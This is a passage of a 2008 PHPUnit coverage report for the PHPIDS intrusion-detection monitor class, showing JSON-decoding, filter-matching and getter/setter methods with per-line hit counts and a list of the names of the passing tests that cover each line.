id="line465"> 465</a> </span><span class="lineCov"> 1 : return null; </span> -<span class="lineNum" id="container466"><a name="466"></a><a href="#466" id="line466"> 466</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container467"><a name="467"></a><a href="#467" id="line467"> 467</a> </span> : -<span class="lineNum" id="container468"><a name="468"></a><a href="#468" id="line468"> 468</a> </span><span class="lineCov"> 2 : return $diff . $redux; </span> -<span class="lineNum" id="container469"><a name="469"></a><a href="#469" id="line469"> 469</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container470"><a name="470"></a><a href="#470" id="line470"> 470</a> </span> : -<span class="lineNum" id="container471"><a name="471"></a><a href="#471" id="line471"> 471</a> </span> : /** -<span class="lineNum" id="container472"><a name="472"></a><a href="#472" id="line472"> 472</a> </span> : * This method prepares incoming JSON data for the PHPIDS detection -<span class="lineNum" id="container473"><a name="473"></a><a href="#473" id="line473"> 473</a> </span> : * process. It utilizes _jsonConcatContents() as callback and returns a -<span class="lineNum" id="container474"><a name="474"></a><a href="#474" id="line474"> 474</a> </span> : * string version of the JSON data structures. -<span class="lineNum" id="container475"><a name="475"></a><a href="#475" id="line475"> 475</a> </span> : * -<span class="lineNum" id="container476"><a name="476"></a><a href="#476" id="line476"> 476</a> </span> : * @param mixed $key -<span class="lineNum" id="container477"><a name="477"></a><a href="#477" id="line477"> 477</a> </span> : * @param mixed $value -<span class="lineNum" id="container478"><a name="478"></a><a href="#478" id="line478"> 478</a> </span> : * @since 0.5.3 -<span class="lineNum" id="container479"><a name="479"></a><a href="#479" id="line479"> 479</a> </span> : * -<span class="lineNum" id="container480"><a name="480"></a><a href="#480" id="line480"> 480</a> </span> : * @return array -<span class="lineNum" id="container481"><a name="481"></a><a href="#481" id="line481"> 481</a> </span> : */ -<span class="lineNum" id="container482"><a name="482"></a><a href="#482" id="line482"> 482</a> </span> : private function _jsonDecodeValues($key, $value) { -<span class="lineNum" id="container483"><a name="483"></a><a href="#483" id="line483"> 483</a> </span> : -<span class="lineNum" id="container484"><a name="484"></a><a href="#484" id="line484"> 484</a> </span><span class="lineCov"> 1 : $tmp_key = json_decode($key); </span> -<span class="lineNum" id="container485"><a name="485"></a><a href="#485" id="line485"> 485</a> </span><span class="lineCov"> 1 : $tmp_value = json_decode($value); </span> -<span class="lineNum" id="container486"><a name="486"></a><a href="#486" id="line486"> 486</a> </span> : -<span class="lineNum" id="container487"><a name="487"></a><a href="#487" id="line487"> 487</a> </span><span class="lineCov"> 1 : if($tmp_value && is_array($tmp_value) || is_object($tmp_value)) { </span> -<span class="lineNum" id="container488"><a name="488"></a><a href="#488" id="line488"> 488</a> </span><span class="lineCov"> 1 : array_walk_recursive($tmp_value, array($this, '_jsonConcatContents')); </span> -<span class="lineNum" id="container489"><a name="489"></a><a href="#489" id="line489"> 489</a> </span><span class="lineCov"> 1 : $value = $this->tmpJsonString; </span> -<span class="lineNum" id="container490"><a name="490"></a><a href="#490" id="line490"> 490</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container491"><a name="491"></a><a href="#491" id="line491"> 491</a> </span> : -<span class="lineNum" id="container492"><a name="492"></a><a href="#492" id="line492"> 492</a> </span><span class="lineCov"> 1 : if($tmp_key && is_array($tmp_key) || is_object($tmp_key)) { </span> -<span class="lineNum" id="container493"><a name="493"></a><a href="#493" id="line493"> 493</a> </span><span class="lineNoCov"> 0 : array_walk_recursive($tmp_key, array($this, '_jsonConcatContents')); </span> -<span class="lineNum" id="container494"><a name="494"></a><a href="#494" id="line494"> 494</a> </span><span class="lineNoCov"> 0 : $key = $this->tmpJsonString; </span> -<span class="lineNum" id="container495"><a name="495"></a><a href="#495" id="line495"> 495</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container496"><a name="496"></a><a href="#496" id="line496"> 496</a> </span> : -<span class="lineNum" id="container497"><a name="497"></a><a href="#497" id="line497"> 497</a> </span><span class="lineCov"> 1 : return array($key, $value); </span> -<span class="lineNum" id="container498"><a name="498"></a><a href="#498" id="line498"> 498</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container499"><a name="499"></a><a href="#499" id="line499"> 499</a> </span> : -<span class="lineNum" id="container500"><a name="500"></a><a href="#500" id="line500"> 500</a> </span> : /** -<span class="lineNum" id="container501"><a name="501"></a><a href="#501" id="line501"> 501</a> </span> : * This is the callback used in _jsonDecodeValues(). The method -<span class="lineNum" id="container502"><a name="502"></a><a href="#502" id="line502"> 502</a> </span> : * concatenates key and value and stores them in $this->tmpJsonString. -<span class="lineNum" id="container503"><a name="503"></a><a href="#503" id="line503"> 503</a> </span> : * -<span class="lineNum" id="container504"><a name="504"></a><a href="#504" id="line504"> 504</a> </span> : * @param mixed $key -<span class="lineNum" id="container505"><a name="505"></a><a href="#505" id="line505"> 505</a> </span> : * @param mixed $value -<span class="lineNum" id="container506"><a name="506"></a><a href="#506" id="line506"> 506</a> </span> : * @since 0.5.3 -<span class="lineNum" id="container507"><a name="507"></a><a href="#507" id="line507"> 507</a> </span> : * -<span class="lineNum" id="container508"><a name="508"></a><a href="#508" id="line508"> 508</a> </span> : * @return void -<span class="lineNum" id="container509"><a name="509"></a><a href="#509" id="line509"> 509</a> </span> : */ -<span class="lineNum" id="container510"><a name="510"></a><a href="#510" id="line510"> 510</a> </span> : private function _jsonConcatContents($key, $value) { -<span class="lineNum" id="container511"><a name="511"></a><a href="#511" id="line511"> 511</a> </span> : -<span class="lineNum" id="container512"><a name="512"></a><a href="#512" id="line512"> 512</a> </span><span class="lineCov"> 1 : $this->tmpJsonString .= $key . " " . $value . "\n"; </span> -<span class="lineNum" id="container513"><a name="513"></a><a href="#513" id="line513"> 513</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container514"><a name="514"></a><a href="#514" id="line514"> 514</a> </span> : -<span class="lineNum" id="container515"><a name="515"></a><a href="#515" id="line515"> 515</a> </span> : /** -<span class="lineNum" id="container516"><a name="516"></a><a href="#516" id="line516"> 516</a> </span> : * Matches given value and/or key against given filter -<span class="lineNum" id="container517"><a name="517"></a><a href="#517" id="line517"> 517</a> </span> : * -<span class="lineNum" id="container518"><a name="518"></a><a href="#518" id="line518"> 518</a> </span> : * @param mixed $key the key to optionally scan -<span class="lineNum" id="container519"><a name="519"></a><a href="#519" id="line519"> 519</a> </span> : * @param mixed $value the value to scan -<span class="lineNum" id="container520"><a name="520"></a><a href="#520" id="line520"> 520</a> </span> : * @param object $filter the filter object -<span class="lineNum" id="container521"><a name="521"></a><a href="#521" id="line521"> 521</a> </span> : * -<span class="lineNum" id="container522"><a name="522"></a><a href="#522" id="line522"> 522</a> </span> : * @return boolean -<span class="lineNum" id="container523"><a name="523"></a><a href="#523" id="line523"> 523</a> </span> : */ -<span class="lineNum" id="container524"><a name="524"></a><a href="#524" id="line524"> 524</a> </span> : private function _match($key, $value, $filter) -<span class="lineNum" id="container525"><a name="525"></a><a href="#525" id="line525"> 525</a> </span> : { -<span class="lineNum" id="container526"><a name="526"></a><a href="#526" id="line526"> 526</a> </span><span class="lineCov"> 35 : if ($this->scanKeys) { </span> -<span class="lineNum" id="container527"><a name="527"></a><a href="#527" id="line527"> 527</a> </span><span class="lineCov"> 1 : if ($filter->match($key)) { </span> -<span class="lineNum" id="container528"><a name="528"></a><a href="#528" id="line528"> 528</a> </span><span class="lineCov"> 1 : return true; </span> -<span class="lineNum" id="container529"><a name="529"></a><a href="#529" id="line529"> 529</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container530"><a name="530"></a><a href="#530" id="line530"> 530</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container531"><a name="531"></a><a href="#531" id="line531"> 531</a> </span> : -<span class="lineNum" id="container532"><a name="532"></a><a href="#532" id="line532"> 532</a> </span><span class="lineCov"> 35 : if ($filter->match($value)) { </span> -<span class="lineNum" id="container533"><a name="533"></a><a href="#533" id="line533"> 533</a> </span><span class="lineCov"> 33 : return true; </span> -<span class="lineNum" id="container534"><a name="534"></a><a href="#534" id="line534"> 534</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container535"><a name="535"></a><a href="#535" id="line535"> 535</a> </span> : -<span class="lineNum" id="container536"><a name="536"></a><a href="#536" id="line536"> 536</a> </span><span class="lineCov"> 35 : return false; </span> -<span class="lineNum" id="container537"><a name="537"></a><a href="#537" id="line537"> 537</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container538"><a name="538"></a><a href="#538" id="line538"> 538</a> </span> : -<span class="lineNum" id="container539"><a name="539"></a><a href="#539" id="line539"> 539</a> </span> : /** -<span class="lineNum" id="container540"><a name="540"></a><a href="#540" id="line540"> 540</a> </span> : * Sets exception array -<span class="lineNum" id="container541"><a name="541"></a><a href="#541" id="line541"> 541</a> </span> : * -<span class="lineNum" id="container542"><a name="542"></a><a href="#542" id="line542"> 542</a> </span> : * @param mixed $exceptions the thrown exceptions -<span class="lineNum" id="container543"><a name="543"></a><a href="#543" id="line543"> 543</a> </span> : * -<span class="lineNum" id="container544"><a name="544"></a><a href="#544" id="line544"> 544</a> </span> : * @return void -<span class="lineNum" id="container545"><a name="545"></a><a href="#545" id="line545"> 545</a> </span> : */ -<span class="lineNum" id="container546"><a name="546"></a><a href="#546" id="line546"> 546</a> </span> : public function setExceptions($exceptions) -<span class="lineNum" id="container547"><a name="547"></a><a href="#547" id="line547"> 547</a> </span> : { -<span class="lineNum" id="container548"><a name="548"></a><a href="#548" id="line548"> 548</a> </span><span class="lineCov"> 3 : if (!is_array($exceptions)) { </span> -<span class="lineNum" id="container549"><a name="549"></a><a href="#549" id="line549"> 549</a> </span><span class="lineCov"> 2 : $exceptions = array($exceptions); </span> -<span class="lineNum" id="container550"><a name="550"></a><a href="#550" id="line550"> 550</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container551"><a name="551"></a><a href="#551" id="line551"> 551</a> </span> : -<span class="lineNum" id="container552"><a name="552"></a><a href="#552" id="line552"> 552</a> </span><span class="lineCov"> 3 : $this->exceptions = $exceptions; </span> -<span class="lineNum" id="container553"><a name="553"></a><a href="#553" id="line553"> 553</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container554"><a name="554"></a><a href="#554" id="line554"> 554</a> </span> : -<span class="lineNum" id="container555"><a name="555"></a><a href="#555" id="line555"> 555</a> </span> : /** -<span class="lineNum" id="container556"><a name="556"></a><a href="#556" id="line556"> 556</a> </span> : * Returns exception array -<span class="lineNum" id="container557"><a name="557"></a><a href="#557" id="line557"> 557</a> </span> : * -<span class="lineNum" id="container558"><a name="558"></a><a href="#558" id="line558"> 558</a> </span> : * @return array -<span class="lineNum" id="container559"><a name="559"></a><a href="#559" id="line559"> 559</a> </span> : */ -<span class="lineNum" id="container560"><a name="560"></a><a href="#560" id="line560"> 560</a> </span> : public function getExceptions() -<span class="lineNum" id="container561"><a name="561"></a><a href="#561" id="line561"> 561</a> </span> : { -<span class="lineNum" id="container562"><a name="562"></a><a href="#562" id="line562"> 562</a> </span><span class="lineCov"> 2 : return $this->exceptions; </span> -<span class="lineNum" id="container563"><a name="563"></a><a href="#563" id="line563"> 563</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container564"><a name="564"></a><a href="#564" id="line564"> 564</a> </span> : -<span class="lineNum" id="container565"><a name="565"></a><a href="#565" id="line565"> 565</a> </span> : /** -<span class="lineNum" id="container566"><a name="566"></a><a href="#566" id="line566"> 566</a> </span> : * Sets html array -<span class="lineNum" id="container567"><a name="567"></a><a href="#567" id="line567"> 567</a> </span> : * -<span class="lineNum" id="container568"><a name="568"></a><a href="#568" id="line568"> 568</a> </span> : * @param mixed $html the fields containing html -<span class="lineNum" id="container569"><a name="569"></a><a href="#569" id="line569"> 569</a> </span> : * @since 0.5 -<span class="lineNum" id="container570"><a name="570"></a><a href="#570" id="line570"> 570</a> </span> : * -<span class="lineNum" id="container571"><a name="571"></a><a href="#571" id="line571"> 571</a> </span> : * @return void -<span class="lineNum" id="container572"><a name="572"></a><a href="#572" id="line572"> 572</a> </span> : */ -<span class="lineNum" id="container573"><a name="573"></a><a href="#573" id="line573"> 573</a> </span> : public function setHtml($html) -<span class="lineNum" id="container574"><a name="574"></a><a href="#574" id="line574"> 574</a> </span> : { -<span class="lineNum" id="container575"><a name="575"></a><a href="#575" id="line575"> 575</a> </span><span class="lineCov"> 3 : if (!is_array($html)) { </span> -<span class="lineNum" id="container576"><a name="576"></a><a href="#576" id="line576"> 576</a> </span><span class="lineCov"> 1 : $html = array($html); </span> -<span class="lineNum" id="container577"><a name="577"></a><a href="#577" id="line577"> 577</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container578"><a name="578"></a><a href="#578" id="line578"> 578</a> </span> : -<span class="lineNum" id="container579"><a name="579"></a><a href="#579" id="line579"> 579</a> </span><span class="lineCov"> 3 : $this->html = $html; </span> -<span class="lineNum" id="container580"><a name="580"></a><a href="#580" id="line580"> 580</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container581"><a name="581"></a><a href="#581" id="line581"> 581</a> </span> : -<span class="lineNum" id="container582"><a name="582"></a><a href="#582" id="line582"> 582</a> </span> : /** -<span class="lineNum" id="container583"><a name="583"></a><a href="#583" id="line583"> 583</a> </span> : * Adds a value to the html array -<span class="lineNum" id="container584"><a name="584"></a><a href="#584" id="line584"> 584</a> </span> : * -<span class="lineNum" id="container585"><a name="585"></a><a href="#585" id="line585"> 585</a> </span> : * @since 0.5 -<span class="lineNum" id="container586"><a name="586"></a><a href="#586" id="line586"> 586</a> </span> : * -<span class="lineNum" id="container587"><a name="587"></a><a href="#587" id="line587"> 587</a> </span> : * @return void -<span class="lineNum" id="container588"><a name="588"></a><a href="#588" id="line588"> 588</a> </span> : */ -<span class="lineNum" id="container589"><a name="589"></a><a href="#589" id="line589"> 589</a> </span> : public function addHtml($value) -<span class="lineNum" id="container590"><a name="590"></a><a href="#590" id="line590"> 590</a> </span> : { -<span class="lineNum" id="container591"><a name="591"></a><a href="#591" id="line591"> 591</a> </span><span class="lineNoCov"> 0 : $this->html[] = $value; </span> -<span class="lineNum" id="container592"><a name="592"></a><a href="#592" id="line592"> 592</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container593"><a name="593"></a><a href="#593" id="line593"> 593</a> </span> : -<span class="lineNum" id="container594"><a name="594"></a><a href="#594" id="line594"> 594</a> </span> : /** -<span class="lineNum" id="container595"><a name="595"></a><a href="#595" id="line595"> 595</a> </span> : * Returns html array -<span class="lineNum" id="container596"><a name="596"></a><a href="#596" id="line596"> 596</a> </span> : * -<span class="lineNum" id="container597"><a name="597"></a><a href="#597" id="line597"> 597</a> </span> : * @since 0.5 -<span class="lineNum" id="container598"><a name="598"></a><a href="#598" id="line598"> 598</a> </span> : * -<span class="lineNum" id="container599"><a name="599"></a><a href="#599" id="line599"> 599</a> </span> : * @return array the fields that contain allowed html -<span class="lineNum" id="container600"><a name="600"></a><a href="#600" id="line600"> 600</a> </span> : */ -<span class="lineNum" id="container601"><a name="601"></a><a href="#601" id="line601"> 601</a> </span> : public function getHtml() -<span class="lineNum" id="container602"><a name="602"></a><a href="#602" id="line602"> 602</a> </span> : { -<span class="lineNum" id="container603"><a name="603"></a><a href="#603" id="line603"> 603</a> </span><span class="lineCov"> 1 : return $this->html; </span> -<span class="lineNum" id="container604"><a name="604"></a><a href="#604" id="line604"> 604</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container605"><a name="605"></a><a href="#605" id="line605"> 605</a> </span> : -<span class="lineNum" id="container606"><a name="606"></a><a href="#606" id="line606"> 606</a> </span> : /** -<span class="lineNum" id="container607"><a name="607"></a><a href="#607" id="line607"> 607</a> </span> : * Sets json array -<span class="lineNum" id="container608"><a name="608"></a><a href="#608" id="line608"> 608</a> </span> : * -<span class="lineNum" id="container609"><a name="609"></a><a href="#609" id="line609"> 609</a> </span> : * @param mixed $json the fields containing json -<span class="lineNum" id="container610"><a name="610"></a><a href="#610" id="line610"> 610</a> </span> : * @since 0.5.3 -<span class="lineNum" id="container611"><a name="611"></a><a href="#611" id="line611"> 611</a> </span> : * -<span class="lineNum" id="container612"><a name="612"></a><a href="#612" id="line612"> 612</a> </span> : * @return void -<span class="lineNum" id="container613"><a name="613"></a><a href="#613" id="line613"> 613</a> </span> : */ -<span class="lineNum" id="container614"><a name="614"></a><a href="#614" id="line614"> 614</a> </span> : public function setJson($json) -<span class="lineNum" id="container615"><a name="615"></a><a href="#615" id="line615"> 615</a> </span> : { -<span class="lineNum" id="container616"><a name="616"></a><a href="#616" id="line616"> 616</a> </span><span class="lineCov"> 1 : if (!is_array($json)) { </span> -<span class="lineNum" id="container617"><a name="617"></a><a href="#617" id="line617"> 617</a> </span><span class="lineNoCov"> 0 : $json = array($json); </span> -<span class="lineNum" id="container618"><a name="618"></a><a href="#618" id="line618"> 618</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container619"><a name="619"></a><a href="#619" id="line619"> 619</a> </span> : -<span class="lineNum" id="container620"><a name="620"></a><a href="#620" id="line620"> 620</a> </span><span class="lineCov"> 1 : $this->json = $json; </span> -<span class="lineNum" id="container621"><a name="621"></a><a href="#621" id="line621"> 621</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container622"><a name="622"></a><a href="#622" id="line622"> 622</a> </span> : -<span class="lineNum" id="container623"><a name="623"></a><a href="#623" id="line623"> 623</a> </span> : /** -<span class="lineNum" id="container624"><a name="624"></a><a href="#624" id="line624"> 624</a> </span> : * Adds a value to the json array -<span class="lineNum" id="container625"><a name="625"></a><a href="#625" id="line625"> 625</a> </span> : * -<span class="lineNum" id="container626"><a name="626"></a><a href="#626" id="line626"> 626</a> </span> : * @since 0.5.3 -<span class="lineNum" id="container627"><a name="627"></a><a href="#627" id="line627"> 627</a> </span> : * -<span class="lineNum" id="container628"><a name="628"></a><a href="#628" id="line628"> 628</a> </span> : * @return void -<span class="lineNum" id="container629"><a name="629"></a><a href="#629" id="line629"> 629</a> </span> : */ -<span class="lineNum" id="container630"><a name="630"></a><a href="#630" id="line630"> 630</a> </span> : public function addJson($value) -<span class="lineNum" id="container631"><a name="631"></a><a href="#631" id="line631"> 631</a> </span> : { -<span class="lineNum" id="container632"><a name="632"></a><a href="#632" id="line632"> 632</a> </span><span class="lineNoCov"> 0 : $this->json[] = $value; </span> -<span class="lineNum" id="container633"><a name="633"></a><a href="#633" id="line633"> 633</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container634"><a name="634"></a><a href="#634" id="line634"> 634</a> </span> : -<span class="lineNum" id="container635"><a name="635"></a><a href="#635" id="line635"> 635</a> </span> : /** -<span class="lineNum" id="container636"><a name="636"></a><a href="#636" id="line636"> 636</a> </span> : * Returns json array -<span class="lineNum" id="container637"><a name="637"></a><a href="#637" id="line637"> 637</a> </span> : * -<span class="lineNum" id="container638"><a name="638"></a><a href="#638" id="line638"> 638</a> </span> : * @since 0.5.3 -<span class="lineNum" id="container639"><a name="639"></a><a href="#639" id="line639"> 639</a> </span> : * -<span class="lineNum" id="container640"><a name="640"></a><a href="#640" id="line640"> 640</a> </span> : * @return array the fields that contain json -<span class="lineNum" id="container641"><a name="641"></a><a href="#641" id="line641"> 641</a> </span> : */ -<span class="lineNum" id="container642"><a name="642"></a><a href="#642" id="line642"> 642</a> </span> : public function getJson() -<span class="lineNum" id="container643"><a name="643"></a><a href="#643" id="line643"> 643</a> </span> : { -<span class="lineNum" id="container644"><a name="644"></a><a href="#644" id="line644"> 644</a> </span><span class="lineNoCov"> 0 : return $this->json; </span> -<span class="lineNum" id="container645"><a name="645"></a><a href="#645" id="line645"> 645</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container646"><a name="646"></a><a href="#646" id="line646"> 646</a> </span> : -<span class="lineNum" id="container647"><a name="647"></a><a href="#647" id="line647"> 647</a> </span> : /** -<span class="lineNum" id="container648"><a name="648"></a><a href="#648" id="line648"> 648</a> </span> : * Returns storage container -<span class="lineNum" id="container649"><a name="649"></a><a href="#649" id="line649"> 649</a> </span> : * -<span class="lineNum" id="container650"><a name="650"></a><a href="#650" id="line650"> 650</a> </span> : * @return array -<span class="lineNum" id="container651"><a name="651"></a><a href="#651" id="line651"> 651</a> </span> : */ -<span class="lineNum" id="container652"><a name="652"></a><a href="#652" id="line652"> 652</a> </span> : public function getStorage() -<span class="lineNum" id="container653"><a name="653"></a><a href="#653" id="line653"> 653</a> </span> : { -<span class="lineNum" id="container654"><a name="654"></a><a href="#654" id="line654"> 654</a> </span><span class="lineCov"> 1 : return $this->storage; </span> -<span class="lineNum" id="container655"><a name="655"></a><a href="#655" id="line655"> 655</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container656"><a name="656"></a><a href="#656" id="line656"> 656</a> </span> : -<span class="lineNum" id="container657"><a name="657"></a><a href="#657" id="line657"> 657</a> </span> : /** -<span class="lineNum" id="container658"><a name="658"></a><a href="#658" id="line658"> 658</a> </span> : * Returns report object providing various functions to work with -<span class="lineNum" id="container659"><a name="659"></a><a href="#659" id="line659"> 659</a> </span> : * detected results. Also the centrifuge data is being set as property -<span class="lineNum" id="container660"><a name="660"></a><a href="#660" id="line660"> 660</a> </span> : * of the report object. -<span class="lineNum" id="container661"><a name="661"></a><a href="#661" id="line661"> 661</a> </span> : * -<span class="lineNum" id="container662"><a name="662"></a><a href="#662" id="line662"> 662</a> </span> : * @return object IDS_Report -<span class="lineNum" id="container663"><a name="663"></a><a href="#663" id="line663"> 663</a> </span> : */ -<span class="lineNum" id="container664"><a name="664"></a><a href="#664" id="line664"> 664</a> </span> : public function getReport() -<span class="lineNum" id="container665"><a name="665"></a><a href="#665" id="line665"> 665</a> </span> : { -<span class="lineNum" id="container666"><a name="666"></a><a href="#666" id="line666"> 666</a> </span><span class="lineCov"> 36 : if (isset($this->centrifuge) && $this->centrifuge) { </span> -<span class="lineNum" id="container667"><a name="667"></a><a href="#667" id="line667"> 667</a> </span><span class="lineCov"> 18 : $this->report->setCentrifuge($this->centrifuge); </span> -<span class="lineNum" id="container668"><a name="668"></a><a href="#668" id="line668"> 668</a> </span><span class="lineCov"> 18 : } </span> -<span class="lineNum" id="container669"><a name="669"></a><a href="#669" id="line669"> 669</a> </span> : -<span class="lineNum" id="container670"><a name="670"></a><a href="#670" id="line670"> 670</a> </span><span class="lineCov"> 36 : return $this->report; </span> -<span class="lineNum" id="container671"><a name="671"></a><a href="#671" id="line671"> 671</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container672"><a name="672"></a><a href="#672" id="line672"> 672</a> </span> : -<span class="lineNum" id="container673"><a name="673"></a><a href="#673" id="line673"> 673</a> </span> : } -<span class="lineNum" id="container674"><a name="674"></a><a href="#674" id="line674"> 674</a> </span> : -<span class="lineNum" id="container675"><a name="675"></a><a href="#675" id="line675"> 675</a> </span> : /* -<span class="lineNum" id="container676"><a name="676"></a><a href="#676" id="line676"> 676</a> </span> : * Local variables: -<span class="lineNum" id="container677"><a name="677"></a><a href="#677" id="line677"> 677</a> </span> : * tab-width: 4 -<span class="lineNum" id="container678"><a name="678"></a><a href="#678" id="line678"> 678</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container679"><a name="679"></a><a href="#679" id="line679"> 679</a> </span> : * End: -<span class="lineNum" id="container680"><a name="680"></a><a href="#680" id="line680"> 680</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel177": { - "header": "41 tests cover line 177", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel178": { - "header": "41 tests cover line 178", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li 